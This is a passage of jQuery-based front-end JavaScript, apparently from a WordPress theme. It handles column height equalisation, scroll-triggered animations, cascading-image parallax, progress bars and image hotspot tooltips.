									
									// Added in 7.6 to fix equal height columns 
									if ($frontEndEditorElDiv.length < 2 && !$(this).parent().parent().hasClass('vc_row-o-equal-height')) {
										$(this).css('height', tallestColumn);
										
										if( $body.is('[data-flex-cols="true"]') ) {
											$(this).find('> .vc_column-inner').css('height', tallestColumn);
										}
										
									} else if ($frontEndEditorElDiv.length > 2 && !$(this).parent().parent().parent().hasClass('vc_row-o-equal-height')) {
										$(this).css('height', tallestColumn);
										
										if( $body.is('[data-flex-cols="true"]') ) {
											$(this).find('> .vc_column-inner').css('height', tallestColumn);
										}
										
									}
								}
								
								// Empty columns
								else {
									if ($(this).is('[data-using-bg="true"]')) {
										
										$(this).css('min-height', tallestColumn);
										
										if( $body.is('[data-flex-cols="true"]') ) {
											$(this).find('> .vc_column-inner').css('min-height', tallestColumn);
										}
										
										if ($(this).is('[data-animation*="reveal"]')) {
											$(this).find('.column-inner')
												.css('min-height', tallestColumn);
										}
										
									}
								}
								
							});
							
							// Nested column height
							if (nectarDOMInfo.winW < 1000) {
								$(this).find('> .span_12 > ' + $frontEndEditorElDiv + ' .col .wpb_row .col').css('min-height', '0px');
							} 
							
							// Vertically center
							if ($(this).hasClass('vertically-align-columns') && 
							nectarDOMInfo.winW > 1000 && 
							!$(this).hasClass('vc_row-o-equal-height')) {
								
								// Parent columns
								$(this).find('> .span_12 > ' + $frontEndEditorElDiv + ' .col').each(function () {
									
									$column_inner_selector = ($(this).find('> .vc_column-inner > .wpb_wrapper').length > 0) ? '.vc_column-inner' : '.column-inner-wrap > .column-inner';
									
									$columnInnerHeight = $(this).find('> ' + $column_inner_selector + ' > .wpb_wrapper').height();
									
									var $marginCalc = ($(this).height() / 2) - ($columnInnerHeight / 2);
									
									if ($marginCalc <= 0) {
										$marginCalc = 0;
									}
									
									$(this).find('> ' + $column_inner_selector + ' > .wpb_wrapper')
										.css('margin-top', $marginCalc)
										.css('margin-bottom', $marginCalc);
									
								});
								
								
							}
							
						}
						
					});
					
					
					if( $('body[data-flex-cols="true"]').length == 0 ) {
						
						// Equal height columns in container type with reveal columns
						$('.main-content > .row > .wpb_row:not(.full-width-content).vc_row-o-equal-height').each(function () {
							if ($(this).find('>.span_12 > ' + $frontEndEditorElDiv + ' .wpb_column[data-animation*="reveal"]').length > 0) {
								
								var tallestColumn = 0;
								
								$(this).find('> .span_12 > ' + $frontEndEditorElDiv + ' .col').each(function () {
									
									var $padding = parseInt($(this).find('> .column-inner-wrap > .column-inner').css('padding-top'));
									
									if( $(this).find('> .column-inner-wrap > .column-inner').height() + ($padding * 2) > tallestColumn ) {
										tallestColumn = $(this).find('> .column-inner-wrap > .column-inner').height() + ($padding * 2);
									}
									
								});
								
								$(this).find('> .span_12 > ' + $frontEndEditorElDiv + ' .col').each(function () {
									
									// Columns with content
									if ($(this).find('> .column-inner-wrap > .column-inner .wpb_wrapper > *').length > 0) {
										$(this).find('> .column-inner-wrap').css('height', tallestColumn);
									}
									// Empty columns
									else {
										$(this).css('min-height', tallestColumn);
										if ($(this).is('[data-animation*="reveal"]')) {
											$(this).find('.column-inner').css('min-height', tallestColumn);
										}
									}
								});
								
							}
						});
				
						// Using equal height option, top/bottom padding % needs to be convered into px for cross browser (flex bug)
						$('.wpb_row.vc_row-o-equal-height>.span_12> ' + $frontEndEditorElDiv + '.wpb_column[class*="padding-"][data-padding-pos="all"]').each(function () {
							if ($(this).parents('.tabbed').length == 0) {
								$(this).css({
									'padding-top': $(this).css('padding-left'),
									'padding-bottom': $(this).css('padding-left')
								});
							}
						}); 
						
					} // endif; Not using modern grid system.
					
				}
				
				
				
				
				/**
				* Mouse parallax row option.
				*
				* @since 4.0
				*/
				function mouseParallaxInit() {
					
					$('.wpb_row:has(.nectar-parallax-scene)').each(function (i) {
						
						var $strength = parseInt($(this).find('.nectar-parallax-scene').attr('data-scene-strength'));
						
						$mouseParallaxScenes[i] = $(this).find('.nectar-parallax-scene').parallax({
							scalarX: $strength,
							scalarY: $strength
						});
						
						// Wait until the images in the scene have loaded.
						var images = $(this).find('.nectar-parallax-scene li');
						
						$.each(images, function () {
							if ($(this).find('div').length > 0) {
								var el = $(this).find('div'),
								image = el.css('background-image').replace(/"/g, '').replace(/url\(|\)$/ig, '');
								if (image && image !== '' && image !== 'none') {
									images = images.add($('<img>').attr('src', image));
								}
							}
						});
						
					});
					
				}
				
				

				
				
				
				/**
				* Add checkmark icons to unorder list with checkmark class.
				*
				* @since 2.0
				*/
				function ulCheckmarks() {
					$('ul.checks li').each(function () {
						if ($(this).find('i.icon-ok-sign').length == 0) {
							$(this).prepend('<i class="icon-ok-sign"></i>');
						}
					});
				}
				
				
				
				
				/**
				* Allow CTA element BG color to also act as a link.
				*
				* @since 11.0
				*/
				function ctaLinkBG() {
					
					$body.on('click','.nectar-cta[data-using-bg="true"]:not([data-style="material"]) .link_wrap', function() {

						$(this).find('a.link_text')[0].click();

					});
					
				}
				
				
				
				/**
				* Add CSS default animation classes through JS to 
				* avoid inital animation on page load.
				*
				* @since 11.0
				*/
				function nectarKeyframeAssist() {
					
					$('.nectar-cta[data-style="arrow-animation"]').addClass('loaded');
					
				}
				


				
				/**
				* Page builder row background layer animations.
				*
				* @since 9.0
				* @see waypoints
				*/
				function rowBGAnimations() {
					
					var $rowBGAnimationsOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '93%';
					var $rowBGAnimationsRevealOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '75%';
					var $rowBGOffset;
					
					$($fullscreenSelector + '.row-bg-wrap[data-bg-animation]:not([data-bg-animation="none"]):not([data-bg-animation*="displace-filter"]) .row-bg').each(function () {
						
						if( !$(this).parents('.row-bg-wrap').is('[data-bg-animation="zoom-out-reveal"]') ) {
							$rowBGOffset = $rowBGAnimationsOffsetPos;
						} else {
							$rowBGOffset = $rowBGAnimationsRevealOffsetPos;
						}
						
						if( !$(this).hasClass('using-image') && !$(this).parents('.row-bg-wrap').is('[data-bg-animation="zoom-out-reveal"]') ) {
							return;
						}
						
						var $that = $(this);
						var waypoint = new Waypoint({
							element: $that.parents('.row-bg-wrap'),
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								$that.parents('.inner-wrap').addClass('animated-in');
								
								if($that.parents('.row-bg-wrap').is('[data-bg-animation="zoom-out-reveal"]')) {
									$that.parents('.row-bg-wrap').addClass('animated-in');
								}
								
								waypoint.destroy();
							},
							offset: $rowBGOffset
						});
						
					});
					
				}
				
				
				/**
				* Page builder column background layer animations.
				*
				* @since 9.0
				* @see waypoints
				*/
				function columnBGAnimations() {
					
					var $colBGAnimationsOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '93%';
					var $colBGAnimationsRevealOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '80%';
					var $colBGOffset;
					
					$($fullscreenSelector + '.column-image-bg-wrap[data-bg-animation]:not([data-bg-animation="none"]):not([data-bg-animation*="displace-filter"]) .column-image-bg').each(function () {
						
						if( !$(this).parents('.column-image-bg-wrap').is('[data-bg-animation="zoom-out-reveal"]') ) {
							$colBGOffset = $colBGAnimationsOffsetPos;
						} else {
							$colBGOffset = $colBGAnimationsRevealOffsetPos;
						}
						
						var $that = $(this);
						
						var waypoint = new Waypoint({
							element: $that.parents('.column-image-bg-wrap'),
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								$that.parents('.inner-wrap').addClass('animated-in');
								if( $that.parents('.column-image-bg-wrap').is('[data-bg-animation="zoom-out-reveal"]') ) {
									$that.parents('.column-image-bg-wrap').addClass('animated-in');
									$that.parents('.column-image-bg-wrap').siblings('.column-bg-overlay-wrap').addClass('animated-in');
								}
								waypoint.destroy();
							},
							offset: $colBGOffset
						});
						
					});
					
					// Zoom out reveal with BG color only
					$($fullscreenSelector + '.column-bg-overlay-wrap[data-bg-animation="zoom-out-reveal"]').each(function () {

						$colBGOffset = $colBGAnimationsRevealOffsetPos;

						var $that = $(this);
						
						if( $that.parent().find('.column-image-bg-wrap').length == 0 ) {
							
							var waypoint = new Waypoint({
								element: $that,
								handler: function () {
									
									if ( $that.hasClass('animated-in') ) {
										waypoint.destroy();
										return;
									}
									
									$that.addClass('animated-in');
									waypoint.destroy();
									
								},
								offset: $colBGOffset
							});
							
						}
						
					});
					
				}
				
				
				
				/**
				* Page builder column and image animations.
				*
				* @since 4.0
				* @see waypoints
				*/
				function colAndImgAnimations() {
					
					var $colAndImgOffsetPos       = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '88%';
					var $cascadingOffsetPos       = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '70%';
					var $colAndImgRevealOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '70%';
					
					$($fullscreenSelector + 'img.img-with-animation').each(function () {
						
						var $that = $(this);
						
						var waypoint = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								if (!nectarDOMInfo.usingMobileBrowser || $('body[data-responsive="0"]').length > 0) {
									
									var $delay = $that.attr('data-delay');
									
									// Upgrade proof.
									var $elToAnimate = ($that.parents('.hover-wrap').length > 0) ? $that.parents('.hover-wrap') : $that;
									
									if ($that.attr('data-animation') == 'fade-in-from-left' || $that.attr('data-animation') == 'fade-in-from-right') {
										$elToAnimate.delay($delay).transition({
											'opacity': 1,
											'x': '0px'
										}, $animationDuration, $animationEasing);
									} else if ($that.attr('data-animation') == 'fade-in-from-bottom') {
										$elToAnimate.delay($delay).transition({
											'opacity': 1,
											'y': '0px'
										}, $animationDuration, $animationEasing);
									} else if ($that.attr('data-animation') == 'fade-in') {
										$elToAnimate.delay($delay).transition({
											'opacity': 1
										}, $animationDuration, $animationEasing);
									} else if ($that.attr('data-animation') == 'grow-in') {
										setTimeout(function () {
											$elToAnimate.transition({
												scale: 1,
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
									} else if ($that.attr('data-animation') == 'flip-in') {
										setTimeout(function () {
											$elToAnimate.transition({
												rotateY: 0,
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
									} else if ($that.attr('data-animation') == 'flip-in-vertical') {
										setTimeout(function () {
											$elToAnimate.transition({
												rotateX: 0,
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
									}
									

									$that.addClass('animated-in');
									
								}
								
								waypoint.destroy();
								
							},
							offset: $colAndImgOffsetPos
						});
						
						
						
					});
					
					
					$($fullscreenSelector + '.nectar_cascading_images').each(function () {
						
						var $that           = $(this);
						var $animationDelay = ($(this).is('[data-animation-timing]')) ? $(this).attr('data-animation-timing') : 175;
						$animationDelay     = parseInt($animationDelay);
						
						var waypoint = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								if (!nectarDOMInfo.usingMobileBrowser || $('body[data-responsive="0"]').length > 0) {
									
									$that.find('.cascading-image').each(function (i) {
										
										var $that2 = $(this);
										
										if ($that2.attr('data-animation') == 'flip-in' || $that2.attr('data-animation') == 'flip-in-vertical') {
											setTimeout(function () {
												$that2.find('.inner-wrap').css({
													'opacity': 1,
													'transform': 'rotate(0deg) translateZ(0px)'
												});
											}, i * $animationDelay);
										} else if( $that2.attr('data-animation') == 'grow-in-reveal' ) {
											setTimeout(function () {
												$that2.find('.inner-wrap').css({
													'opacity': 1,
													'transform': 'translateX(0px) translateY(0px) scale(1,1) translateZ(0px)'
												});
												$that2.find('.inner-wrap img').css({
													'transform': 'translateX(0px) translateY(0px) scale(1,1) translateZ(0px)'
												});
											}, i * $animationDelay);
										} 
										else {
											setTimeout(function () {
												$that2.find('.inner-wrap').css({
													'opacity': 1,
													'transform': 'translateX(0px) translateY(0px) scale(1,1) translateZ(0px)'
												});
											}, i * $animationDelay);
										}
										
										
									});
									
									$that.addClass('animated-in');
									
								}
								
								waypoint.destroy();
								
							},
							offset: $cascadingOffsetPos
						});
						
					});
					

					$($fullscreenSelector + '.col.has-animation:not([data-animation*="reveal"]), ' + $fullscreenSelector + '.wpb_column.has-animation:not([data-animation*="reveal"]), ' + $fullscreenSelector + '.nectar-fancy-box.has-animation').each(function (i) {
						
						var $that = $(this);
						
						//set perspective for vertical flip
						if ($that.is('[data-animation="flip-in-vertical"]') || $that.is('[data-animation="slight-twist"]')) {
							$that.parents('.col.span_12').addClass('flip-in-vertical-wrap');
						}
						
						var waypoint = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								if (!nectarDOMInfo.usingMobileBrowser || $('body[data-responsive="0"]').length > 0) {
									
									var $delay = $that.attr('data-delay');
									
									if ($that.attr('data-animation') == 'fade-in-from-left' || $that.attr('data-animation') == 'fade-in-from-right') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											$that.transition({
												'opacity': 1,
												'x': '0px'
											}, $animationDuration, $animationEasing);
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'fade-in-from-bottom') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											$that.transition({
												'opacity': 1,
												'y': '0px'
											}, $animationDuration, $animationEasing);
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'fade-in') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											$that.transition({
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'grow-in' || $that.attr('data-animation') == 'zoom-out') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											$that.transition({
												scale: 1,
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'flip-in') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											$that.transition({
												rotateY: 0,
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'flip-in-vertical') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											$that.transition({
												rotateX: 0,
												y: 0,
												'opacity': 1
											}, $animationDuration, $animationEasing);
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'slight-twist') {
										
										$standAnimatedColTimeout[i] = setTimeout(function () {
											anime({
												targets: $that[0],
												rotateY: [20, 0],
												rotateZ: [-4, 0],
												opacity: 1,
												easing: $animationEasing,
												duration: $animationDuration
											});
										}, $delay);
										
									}
									
									//boxed column hover fix
									if ($that.hasClass('boxed')) {
										$that.addClass('no-pointer-events');
										setTimeout(function () {
											$that.removeClass('no-pointer-events');
										}, parseInt($animationDuration) + parseInt($delay) + 30);
									}
									
									$that.addClass('animated-in');
									
								}
								
								waypoint.destroy();
							},
							offset: $colAndImgOffsetPos
						});
						
					});
					
					
					$($fullscreenSelector + '.wpb_column.has-animation[data-animation*="reveal"]').each(function () {
						
						var $that = $(this),
						waypoint 	= new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								var $delay = $that.attr('data-delay');
								
								if (!nectarDOMInfo.usingMobileBrowser || $('body[data-responsive="0"]').length > 0) {
									
									var $columnInnerSelector = ( $that.find('> .vc_column-inner').length > 0 ) ? true : false;
									
									if ($that.attr('data-animation') == 'reveal-from-bottom' || $that.attr('data-animation') == 'reveal-from-top') {
										
										setTimeout(function () {
											
											if ($that.hasClass('animated-in')) {
												
												if( $columnInnerSelector == true ) {
													
													// Modern.
													$that.find('> .vc_column-inner').transition({
														'y': 0
													}, $animationDuration, $animationEasing );
												
												} else {
													
													// Legacy.
													$that.find('.column-inner-wrap, .column-inner').transition({
														'y': 0
													}, $animationDuration, $animationEasing, function () {
														$that.find('.column-inner-wrap, .column-inner').addClass('no-transform');
													});
												}
											
											}
											
										}, $delay);
										
									} else if ($that.attr('data-animation') == 'reveal-from-right' || $that.attr('data-animation') == 'reveal-from-left') {
										setTimeout(function () {
											if ($that.hasClass('animated-in')) {
												
												if( $columnInnerSelector == true ) {
													
													// Modern.
													$that.find('> .vc_column-inner').transition({
														'x': 0
													}, $animationDuration, $animationEasing);
				
													
												} else {
													// Legacy.
													$that.find('.column-inner-wrap, .column-inner').transition({
														'x': 0
													}, $animationDuration, $animationEasing, function () {
														$that.find('.column-inner-wrap, .column-inner').addClass('no-transform');
													});
													
												}
												
												
											}
										}, $delay);
									}
									
									$that.addClass('animated-in');
									
								}
								
								waypoint.destroy();
							},
							offset: $colAndImgRevealOffsetPos
						});
						
					});
					
				}
				
				
				
				/**
				* Cascading images element sizing
				*
				* @since 6.0
				*/
				function cascadingImageBGSizing() {
					
					$('.nectar_cascading_images').each(function () {
						
						//handle max width for cascading images in equal height columns
						if ($(this).parents('.vc_row-o-equal-height').length > 0 && $(this).parents('.wpb_column').length > 0) {
							$(this).css('max-width', $(this).parents('.wpb_column').width());
						}
						
						//set size for layers with no images
						$(this).find('.bg-color').each(function () {
							
							var $bgColorHeight  = 0;
							var $bgColorWidth   = 0;
							
							if ($(this).parent().find('.img-wrap').length == 0) {
								
								var $firstSibling = $(this).parents('.cascading-image').siblings('.cascading-image[data-has-img="true"]').first();
								
								$firstSibling.css({
									'position': 'relative',
									'visiblity': 'hidden'
								});
								
								$bgColorHeight 	= $firstSibling.find('.img-wrap').height();
								$bgColorWidth 	= $firstSibling.find('.img-wrap').width();
								
								if ($firstSibling.index() == 0) {
									$firstSibling.css({
										'visiblity': 'visible'
									});
								} else {
									$firstSibling.css({
										'position': 'absolute',
										'visiblity': 'visible'
									});
								}
							} else {
								$bgColorHeight 	= $(this).parent().find('.img-wrap').height();
								$bgColorWidth 	= $(this).parent().find('.img-wrap').width();
							}
							
							$(this).css({
								'height': $bgColorHeight,
								'width': $bgColorWidth
							});
						});
					});
					
				}
				
				
				
				
				/**
				* Cascading images element initialization.
				*
				* @since 10.5
				*/
				function cascadingImageInit() {
					
					if ($('.nectar_cascading_images').length > 0) {
						
						var cascadingParallax = [];
						
						$('.nectar_cascading_images').each(function(i){
							
							imagesLoaded($(this), function (instance) {
								
								// Create sizes.
								cascadingImageBGSizing();

								// Parallax scrolling.
								if( $(instance.elements[0]).is('[data-parallax="yes"]') && !nectarDOMInfo.usingMobileBrowser && $('#nectar_fullscreen_rows').length == 0 ) {
									cascadingParallax[i] = new CascadingParallax($(instance.elements[0]), $(instance.elements[0]).attr('data-parallax-intensity'));
								}
								
							});
							
						});
						
						// BG Sizing Resize.
						$window.on('resize', cascadingImageBGSizing);
						
					}
						
				}
				

				
				
				function CascadingParallax(el, intensity) {
					
					this.$element  = el;
					this.inView    = false;
					this.topLevel  = false;
					this.lastY     = 0;
					
					switch(intensity) {
						case 'subtle':
							this.intensity = 0.09;
							break;
						case 'medium':
							this.intensity = 0.15;
							break;
						case 'high':
							this.intensity = 0.25;
							break;
					}
					this.calculatePos();
					this.trackView();
					this.animate();
					
					$window.on('resize', this.calculatePos.bind(this));
				}
				
				CascadingParallax.prototype.calculatePos = function() {
					this.offsetTop  = this.$element.offset().top;
					this.height     = this.$element.outerHeight();
					this.vertCenter = nectarDOMInfo.winH/2 - this.height/2;
				};
				
				CascadingParallax.prototype.trackView = function() {
					
					var that = this;
					
					if( this.$element.parents('.top-level').length > 0 ) {
						this.topLevel = true;
					}
					
					if( 'IntersectionObserver' in window ) {
						
						var options = {
							rootMargin: '250px',
						}
						var observer = new IntersectionObserver(function(entries) {
							
							entries.forEach(function(entry){
								var isIntersecting = entry.isIntersecting;
								
								if (isIntersecting) {
									that.inView = true;
								} else {
									that.inView = false;
								}
							});
							
						}, options);
						
						observer.observe(this.$element[0]);
						
					}
					
				};
				
				CascadingParallax.prototype.animate = function() {
					
					if( this.inView ) {
						
						var that = this;
						
						this.lastY = linearInterpolate(this.lastY, nectarDOMInfo.scrollTop, 0.19);
						
						this.$element.find('.bg-layer').each(function(i) {
							
							var $scale = $(this).attr('data-scale');

							if( that.topLevel === true && nectarDOMInfo.winW > 1000) {
								$(this).css('transform','translateY(' + -(that.lastY * that.intensity * i) + 'px) translateZ(0) scale(' + $scale + ')');
							} else {
								$(this).css('transform','translateY(' + -((that.lastY - that.offsetTop + that.vertCenter ) * that.intensity * i ) + 'px) translateZ(0) scale(' + $scale + ')');
							}
							
						});
					} 
					
					window.requestAnimationFrame(this.animate.bind(this));
				};
				
				
				
				
				/**
				* Split line heading element initialization.
				*
				* @since 10.5
				* @see waypoints
				*/
				function splitLineHeadings() {

					// Create waypoint.
					var $splitLineOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
					$($fullscreenSelector + '.nectar-split-heading').each(function () {
						
						var $that  = $(this);
						var $delay = ( $that.is('[data-animation-delay]') ) ? parseInt($that.attr('data-animation-delay')) : 0;

						var waypoint = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
									waypoint.destroy();
									return;
								}
								
								if (!nectarDOMInfo.usingMobileBrowser || $('body[data-responsive="0"]').length > 0) {
									
									var $animationDurationCap;
									
									setTimeout(function() {
										
										if( $that.is('[data-animation-type="line-reveal-by-space"]') ) {
											
											$animationDurationCap = (parseInt($animationDuration) < 900) ? $animationDuration : '900';
											$that.find('> * > span').each(function (i) {
												
												$(this).find('> .inner').transition({
													'y': '0px'
												}, $animationDuration, $animationEasing);
												
											});
											
										} else if( $that.is('[data-animation-type="letter-fade-reveal"]') ) {
											
											$animationDurationCap = (parseInt($animationDuration) < 1000) ? $animationDuration : '1000';
											$that.find('> * > span span').each(function (i) {
												
												$(this).delay(i * 8).transition({
													'y': '0px',
													'opacity': '1'
												}, $animationDurationCap, $animationEasing);
												
											});
											
										} else {
											$that.find('.heading-line').each(function (i) {
												
												$(this).find('> div').delay(i * 70).transition({
													'y': '0px'
												}, $animationDuration, $animationEasing);
												
											});
										}

										$that.addClass('animated-in');
										
									}, $delay);
									
								}
								
								waypoint.destroy();
							},
							offset: $splitLineOffsetPos
						});
						
					});
				}
				
				
				
				/**
				* Progress bar element initialization.
				*
				* @since 3.0
				* @see waypoints
				*/

				function progressBars() {

					var $progressBarsOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
					var $progressSelector = ($('#nectar_fullscreen_rows[data-mobile-disable="on"]').length > 0 && nectarDOMInfo.usingMobileBrowser) ? '.nectar-progress-bar' : $fullscreenSelector + '.nectar-progress-bar';

					$($progressSelector).parent().each(function () {
						
						var $that = $(this),
						waypoint 	= new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}

								if ($progressBarsOffsetPos == '100%') {
									$that.find('.nectar-progress-bar .bar-wrap').css('opacity', '1');
								}
								
								$that.find('.nectar-progress-bar').each(function (i) {
									
									var percent = $(this).find('span').attr('data-width'),
									$endNum 		= parseInt($(this).find('span strong i').text()),
									$that 			= $(this);
									
									$that.find('span').delay(i * 90).transition({
										'width': percent + '%'
									}, 1050, 'easeInOutQuint', function () {});
									
									setTimeout(function () {
										
										var countOptions = {
											useEasing: false
										};
										var $countEle = $that.find('span strong i')[0];
										var numAnim = new CountUp($countEle, 0, $endNum, 0, 1, countOptions);
										numAnim.start();
										
										$that.find('span strong').transition({
											'opacity': 1
										}, 550, 'easeInCirc');
									}, (i * 90));
									
									////100% progress bar 
									if (percent == '100') {
										$that.find('span strong').addClass('full');
									}
								});
								
								$that.addClass('completed');
								
								waypoint.destroy();
								
							},
							offset: $progressBarsOffsetPos
						});
						
					});
				}
				
				
				
				/**
				* Page builder column border animations.
				*
				* @since 8.0
				* @see waypoints
				*/
				function animatedColBorders() {
					
					var $progressBarsOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '75%';
					$($fullscreenSelector + '.wpb_column[data-border-animation="true"]').each(function () {
						
						var $that = $(this),
						waypoint  = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}
								
								var $borderDelay = ($that.attr('data-border-animation-delay').length > 0) ? parseInt($that.attr('data-border-animation-delay')) : 0;
								setTimeout(function () {
									$that.find('.border-wrap').addClass('animation');
									$that.find('.border-wrap').addClass('completed');
								}, $borderDelay);
								
								waypoint.destroy();
								
							},
							offset: $progressBarsOffsetPos
						});
						
					});
				}
				
				
				
				/**
				* Food menu item element.
				*
				* @since 8.0
				* @see waypoints
				*/
				function foodMenuItems() {
					
					var $foodItemOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '80%';
					$($fullscreenSelector + '.nectar_food_menu_item').parent().each(function () {
						
						var $that = $(this),
						waypoint  = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}
								
								$that.find('.nectar_food_menu_item').each(function (i) {
									
									var $that = $(this);
									
									setTimeout(function () {
										$that.addClass('animated-in');
									}, i * 150);
									
								});
								
								waypoint.destroy();
								
							},
							offset: $foodItemOffsetPos
						});
						
					});
				}
				

				
				/**
				* Divider element
				*
				* @since 3.0
				* @see waypoints
				*/
				function dividers() {
					
					var $dividerOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
					
					$($fullscreenSelector + '.divider-small-border[data-animate="yes"], ' + $fullscreenSelector + '.divider-border[data-animate="yes"]').each(function () {
						
						var $lineDur  = ($(this).hasClass('divider-small-border')) ? 1300 : 1500,
						$that         = $(this),
						waypoint      = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}
								
								$that.each(function () {
									
									$(this).css({
										'transform': 'scale(0,1)',
										'visibility': 'visible'
									});
									var $that = $(this);
									
									$that.delay($that.attr('data-animation-delay')).transition({
										'transform': 'scale(1, 1)'
									}, $lineDur, 'cubic-bezier(.18,1,.22,1)');
									
								});
								
								$that.addClass('completed');
								
								waypoint.destroy();
								
							},
							offset: $dividerOffsetPos
						});
						
					});
				}
				
				
				
				/**
				* Image with hotspots element hover event
				*
				* @since 7.0
				*/
				function hotSpotHoverBind() {
					
					//add pulse animation
					$('.nectar_image_with_hotspots[data-hotspot-icon="numerical"]').each(function () {
						$(this).find('.nectar_hotspot_wrap').each(function (i) {
							var $that = $(this);
							setTimeout(function () {
								$that.find('.nectar_hotspot').addClass('pulse');
							}, i * 300);
						});
					});
					
					
					var hotSpotHoverTimeout = [];
					
					$('.nectar_image_with_hotspots:not([data-tooltip-func="click"]) .nectar_hotspot').each(function (i) {
						
						hotSpotHoverTimeout[i] = '';
						
						$(this).on('mouseover', function () {
							clearTimeout(hotSpotHoverTimeout[i]);
							$(this).parent().css({
								'z-index': '400',
								'height': 'auto',
								'width': 'auto'
							});
						});
						
						$(this).on('mouseleave', function () {
							
							var $that = $(this);
							$that.parent().css({
								'z-index': 'auto'
							});
							
							hotSpotHoverTimeout[i] = setTimeout(function () {
								$that.parent().css({
									'height': '30px',
									'width': '30px'
								});
							}, 300);
							
						});
						
					});
					
				}
				
				

				/**
				* Image with hotspots element responsive behavior.
				*
				* @since 7.0
				*/
				function responsiveTooltips() {
					
					$('.nectar_image_with_hotspots').each(function () {
						
						$(this).find('.nectar_hotspot_wrap').each(function () {
							
							if (nectarDOMInfo.winW > 690) {
								
								// Remove click if applicable
								if ($(this).parents('.nectar_image_with_hotspots[data-tooltip-func="hover"]').length > 0) {
									$(this).find('.nectar_hotspot').removeClass('click');
									$(this).find('.nttip').removeClass('open');
								}
								
								$(this).find('.nttip .inner a.tipclose').remove();
								$('.nttip').css('height', 'auto');
								
								// Reset for positioning
								$(this).css({
									'width': 'auto',
									'height': 'auto'
								});
								
								$(this).find('.nttip')
									.removeClass('force-right')
									.removeClass('force-left')
									.removeClass('force-top')
									.css('width', 'auto');
								
								var $tipOffset = $(this).find('.nttip').offset();
								
								// Against right side 
								if ($tipOffset.left > $(this).parents('.nectar_image_with_hotspots').width() - 200) {
									$(this).find('.nttip').css('width', '250px');
								}
								else {
									$(this).find('.nttip').css('width', 'auto');
								}
								
								// Responsive
								if ($tipOffset.left < 0) {
									$(this).find('.nttip').addClass('force-right');
								}
								else if ($tipOffset.left + $(this).find('.nttip').outerWidth(true) > nectarDOMInfo.winW) {
									$(this).find('.nttip').addClass('force-left').css('width', '250px');
								}
								else if ($tipOffset.top + $(this).find('.nttip').height() + 35 > $window.height() && $('#nectar_fullscreen_rows').length > 0) {
									$(this).find('.nttip').addClass('force-top');
								}
								
								if ($(this).find('> .open').length == 0) {
									
									$(this).css({
										'width': '30px',
										'height': '30px'
									});
								}
								
							} else {
								
								//fixed position
								$(this).find('.nttip')
									.removeClass('force-left')
									.removeClass('force-right')
